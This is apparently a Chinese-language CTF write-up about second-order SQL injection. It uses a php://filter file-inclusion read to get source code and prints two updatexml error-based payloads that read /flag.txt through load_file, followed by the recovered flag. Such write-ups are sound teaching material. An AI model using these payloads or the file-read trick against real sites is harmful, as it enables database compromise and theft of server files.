想直接查看payload的点这里
前言
二次注入(Second-Order Injection)是指攻击者在应用程序中注入恶意数据,然后在稍后的操作或不同的上下文中再次使用该恶意数据,导致安全漏洞。它通常发生在数据库查询、数据导出、报告生成等过程中。
典型的二次注入示例包括在用户注册时注入恶意代码,然后在管理员操作中触发执行,或者在数据库操作中注入恶意代码。为防止二次注入,应采取综合的安全措施,包括输入验证、参数化查询、代码审计和安全编码实践。
对于SQL注入问题,使用参数化查询或预编译语句,并对用户输入进行严格验证和过滤,可防止恶意SQL代码注入。对于二次注入,还需考虑应用程序的整体逻辑和数据流程,确保数据在后续处理中也得到适当处理和过滤,以防再次执行恶意代码。
正文
查看源码,发现提示,有可能存在文件包含
还在源码看到存在index.php,change.php,comfirm.php,delete.php,search.php这些文件
可以用php伪协议fenbie依次读取这些文件:
?file=php://filter/convert.base64-encode/resource=index.php
php://filter/convert.base64-encode/resource=index.php
是一个针对 PHP 文件的路径表达式,它使用了 php://filter
伪协议和 convert.base64-encode
过滤器。
它的含义是将目录下的 index.php
文件内容以 Base64 编码的形式读取。
查看index.php代码可以发现,提交订单的数据要通过confirm.php校验,其中没有校验address
地址值。
再查看change.php代码可以发现,修改订单时只用addslashes函数对address函数进行了转义。
再看change.php中最关键一行sql语句:
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
它把在index.php中提交的旧地址(old_address)重新保存到数据库里。
所以可以在index.php提交订单的时候,在地址里输入sql注入语句,然后在change.php中修改订单时当时的sql注入语句被执行,这就是二次注入。
这里使用报错注入,然后因为updatexml最多一次显示32个字符,所以用两个payload分开读取flag。
payload:
1'and updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,30)),0x7e),1)#
1'and updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),30,30)),0x7e),1)#
提交订单:
修改订单成功读取到flag:
同理再提交订单修改订单获取后半段的flag:
flag{5cd7240e-e619-4ddf-8bfc-7300b3e1841d}
提交flag
相关文章:
MySQL 文件读写
探索php://filter在实战当中的奇技淫巧
updatexml mysql_深入浅出带你玩转sqlilabs